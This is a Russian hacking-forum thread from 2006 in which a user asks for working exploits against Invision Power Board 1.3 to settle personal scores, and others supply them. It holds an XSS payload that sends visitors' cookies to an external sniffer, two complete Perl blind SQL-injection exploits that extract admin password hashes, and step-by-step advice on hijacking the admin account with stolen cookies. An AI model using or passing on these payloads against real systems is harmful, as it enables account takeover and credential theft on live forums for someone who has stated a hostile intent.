Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Про уязвимости в Invision Power Board(U) v1.3 Final... |

09.08.2006, 18:23
|
|
Новичок
Регистрация: 08.08.2006
Сообщений: 14
Провел на форуме: 24267
Репутация:
1
|
|
Про уязвимости в Invision Power Board(U) v1.3 Final...
Кто-нибудь знает какие-нибудь дыры до сих пор работающие?
З.Ы. Очень уж надо 
|
|
|

09.08.2006, 19:29
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме: 9254548
Репутация:
1942
|
|
сплоит:
http://www.securitylab.ru/vulnerability/source/211900.php
посмотри тут:
http://forum.antichat.ru/thread15678.html
и тут
http://www.yandex.ru/yandsearch?stype=&nl=0&text=%E2%E7%EB%EE%EC+Invisi on+Power+Board%28U%29+v 1.3+Final+
вот xss
можно запостить как сообщение:
[e*mail]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript :document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
(Нужно убрать все *)
Где http://antichat.ru/cgi-bin/s.jpg? Это ссылка на сниффер
на данный момент куки должны прилететь сюда
http://www.antichat.ru/sniff/log.php
Советую создать свой собственный сниффер так как он более удобный чем паблик.
и вот:
http://rst.void.ru/download/r57ipb2.txt
сплоит для похищения хэша
Код:
#!/usr/bin/perl
## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
if (@ARGV < 4) { &usage; }
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];
$pass = ($target)?('member_login_key'):('password');
$server =~ s!(http://)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";
($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]
MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%231072 %3B%26%231073%3B%26%231086%3B%26%231090%3B%26%2310 72%3B%26%231077%3B%26%231090%3B%21";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);
while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]
[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute
targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)
e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
ещё сплоит:
http://rapidshare.de/files/21359678/1.3_final.rar.html
тема про уязвимости ipb:
http://forum.antichat.ru/thread11615-v1.3+Final.html
Invision Power Board <= 1.3.1 Login.PHP SQL Injection:
http://www.milw0rm.com/id.php?id=1036
вот ещё какойто скрипт:
Код:
use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';} my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; my $iver = $ARGV[2]; my $cpre = $ARGV[3]; my $dbug = $ARGV[4]; if (!$ARGV[0] and !$ARGV[1] and !$ARGV[2] and !$ARGV[3]) { print "Input like ./perl ./r57ipb.pl [addres] [userid] [version] [c_fix]\r\n"; print "[addres] = like www.site.com/forum/\r\n"; print "[userid] = user id\r\n"; print "[version] = 1 - v1.0.x or 2 - v2.0.x\r\n"; print "[c_fix] = cookie prefix by defoult its ibf_\r\n"; exit; } my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); my $outputs = ''; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>'; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print "$i char = $current\n"; last; } } if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; # milw0rm.com [2005-05-26]
но скорее всего эт муль...(я от ipb 1.3)
|
|
|

09.08.2006, 23:08
|
|
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме: 5151669
Репутация:
1198
|
|
\6/ активно  прям статья
|
|
|

09.08.2006, 23:09
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме: 9254548
Репутация:
1942
|
|
угу! активно работаю! =)) хочу вернуть репу, и попасть в закрытые =)) и вообще, просто тема такая - прям захотелось собрать всё =))) интересно знаете ли...
|
|
|

10.08.2006, 12:56
|
|
Участник форума
Регистрация: 21.03.2006
Сообщений: 117
Провел на форуме: 629074
Репутация:
137
|
|
\6/ ты так класно описал дыры, а можеш ещё описать заплатки?
|
|
|

10.08.2006, 23:59
|
|
Новичок
Регистрация: 08.08.2006
Сообщений: 14
Провел на форуме: 24267
Репутация:
1
|
|
Ого! На самом деле, по написал-то! 
Спасибо большое! Уверен что не только мне понадобится.
Давайте разбираться  (я просто до этого ни когда таким не занимался, не надо было, да и теперь гадить не хочу, просто личные сЧёты. так что у меня только базовые знания...)
Эксплоит пока попробовать не могу, т.к. завтра только Апачь со всем комплектом возьму...
Пробовал сообщением в "предворительном просмотре", остаётся текст:
[E*MAIL]wj@wj.com[/E*MAIL] ` style=`background:url(javascript :document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
Короче. "url" исчезает... (кстати, зачем вообще он там нужен
Так что, походу это не катит? Или я торможу и чё-то не то делаю  ?
З.Ы. Вообщем помогите кто чем может плиз!
Последний раз редактировалось oOLokiOo; 11.08.2006 в 00:11..
|
|
|

11.08.2006, 00:14
|
|
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме: 5151669
Репутация:
1198
|
|
http://forum.antichat.ru/thread15678.html
|
|
|

11.08.2006, 01:57
|
|
Новичок
Регистрация: 08.08.2006
Сообщений: 14
Провел на форуме: 24267
Репутация:
1
|
|
О! Извеняюсь что сразу не посмотрел. Сорьки!
Короче подошёл этот вариант:
[H*TML][E*MAIL][U*RL=wj`=`][/U*RL][/E*MAIL][/c*olor][c*olor=white]` style=`background:url(javascript :document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/color]
После него в "предворительном просмотре" остаётся:
[H*TML][E*MAIL][/E*MAIL][/c*olor]
Правда если выделить текст, то и всё остальное видно
Но это походу только в IE прокатит, если я не ошибаюсь?
Последний раз редактировалось oOLokiOo; 11.08.2006 в 02:07..
|
|
|

11.08.2006, 02:50
|
|
Новичок
Регистрация: 08.08.2006
Сообщений: 14
Провел на форуме: 24267
Репутация:
1
|
|
Походу после того как я отослал это сообщение, при чтеннии этой ветки в:
http://www.antichat.ru/sniff/log.php
Должны появляться куки, даже если я захожу на форум?
Так вот, там ничего не появляется
И вообще, как определить чьи это куки пришли, перебором?
Походу в member_id нужно ставить 1, что б зайти под админом? А из снифера из QUERY вставить в pass_hash?
Правильно я понял концепцию? 
Последний раз редактировалось oOLokiOo; 11.08.2006 в 03:28..
|
|
|

11.08.2006, 11:16
|
|
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме: 5957900
Репутация:
561
|
|
Не очень правильно ты понял. Куки те придут с той страницы, на которой открывается твоё сообщение с xss. В мембер ид надо ставить не 1, а мембер ид админа. Это не всегда 1. Узнаётся очень просто. Просто мышку на ник навести и внизу браузера ссылка отобразится.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|